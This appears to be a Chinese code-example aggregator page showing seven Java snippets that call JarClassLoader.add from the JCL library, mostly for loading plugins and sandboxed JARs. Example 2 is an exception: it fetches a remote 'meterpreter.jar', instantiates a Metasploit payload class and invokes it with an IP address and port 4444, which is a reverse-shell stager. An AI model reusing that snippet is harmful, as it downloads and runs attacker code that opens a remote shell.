本文整理汇总了Java中org.xeustechnologies.jcl.JarClassLoader.add方法的典型用法代码示例。如果您正苦于以下问题:Java JarClassLoader.add方法的具体用法?Java JarClassLoader.add怎么用?Java JarClassLoader.add使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类org.xeustechnologies.jcl.JarClassLoader
的用法示例。
在下文中一共展示了JarClassLoader.add方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: main
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
public static void main(String[] args) {
JarClassLoader jcl1 = new JarClassLoader();
jcl1.add(JclDemo.class.getResource("/jcldemo1.jar"));
JarClassLoader jcl2 = new JarClassLoader();
jcl2.add(JclDemo.class.getResource("/jcldemo2.jar"));
//Create default factory
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj1 = factory.create(jcl1, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi1 = JclUtils.cast(obj1, JclTutorial.class);
System.out.println(mi1.hello("bingoo")); // hello:bingoo
//Create object of loaded class
Object obj2 = factory.create(jcl2, "org.n3r.sandbox.classloader.JclDemo");
//Obtain interface reference in the current classloader
JclTutorial mi2 = JclUtils.cast(obj2, JclTutorial.class);
System.out.println(mi2.hello("bingoo")); // world:bingoo
}
示例2: main
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
/**
* @param args the command line arguments
*/
public static void main(String[] args) throws IllegalArgumentException, SecurityException, MalformedURLException, IllegalAccessException, InvocationTargetException, NoSuchMethodException
{
JarClassLoader jcl = new JarClassLoader();
//Loading classes from different sources
jcl.add(new URL("http://url.com/meterpreter.jar"));
JclObjectFactory factory = JclObjectFactory.getInstance();
//Create object of loaded class
Object obj = factory.create(jcl, "metasploit.Payload");
Method meth = obj.getClass().getMethod("main", String[].class);
String[] params = {"192.168.1.1","4444"};
meth.invoke(null, (Object) params);
}
示例3: sandbox
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
void sandbox(String jarResourceName) {
try {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl",
new String[] { "Firstname", "Lastname" }, new Class[] {
String.class, String.class });
GreetingInterface gi = JclUtils.cast(obj, GreetingInterface.class);
System.out.println(gi.morning("Darjeeling"));
System.out.println(gi.afternoon("Assam"));
} catch (Throwable t) {
t.printStackTrace();
}
}
示例4: createJarClassLoader
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
/**
* Creates a JAR class loader
*
* @return a class loader
*/
private JarClassLoader createJarClassLoader() {
JarClassLoader jarClassLoader = new JarClassLoader();
PlayProxyClassLoader proxyClassLoader = new PlayProxyClassLoader(getEnvironment().classLoader());
proxyClassLoader.setOrder(100);// After the other default class
// loaders
jarClassLoader.addLoader(proxyClassLoader);
jarClassLoader.add(jarFile.getAbsolutePath());
return jarClassLoader;
}
示例5: loadPlugin
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
public Plugin loadPlugin(File file) {
Policy.setPolicy(new PluginPolicy());
System.setSecurityManager(new SecurityManager());
JarClassLoader jcl = new JarClassLoader();
ProxyProviderFactory.setDefaultProxyProvider(new CglibProxyProvider());
JclObjectFactory factory = JclObjectFactory.getInstance(true);
jcl.getSystemLoader().setOrder(1);
jcl.add(file.getAbsolutePath());
Plugin plugin = (Plugin) factory.create(jcl, "plugin." + file.getName().replace(".jar", ""));
this.addPlugin(plugin);
return plugin;
}
示例6: loadGreetingInterface
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
GreetingInterface loadGreetingInterface(String jarResourceName) {
InputStream jar = this.getClass().getClassLoader()
.getResourceAsStream(jarResourceName);
JarClassLoader jcl = new JarClassLoader();
jcl.add(jar);
JclObjectFactory factory = JclObjectFactory.getInstance();
// call constructor with arguments.
Object obj = factory.create(jcl, "myapi.GreetingImpl", new String[] {
"Firstname", "Lastname" }, new Class[] { String.class,
String.class });
return JclUtils.cast(obj, GreetingInterface.class);
}
示例7: initClassLoader
import org.xeustechnologies.jcl.JarClassLoader; //导入方法依赖的package包/类
protected void initClassLoader() {
jcl = new JarClassLoader();
// Needed for proper garbage collection of the old JarClassLoader inside sun.security.provider.PolicyFile
Policy.getPolicy().refresh();
jcl.add(baseDir + currentDir);
}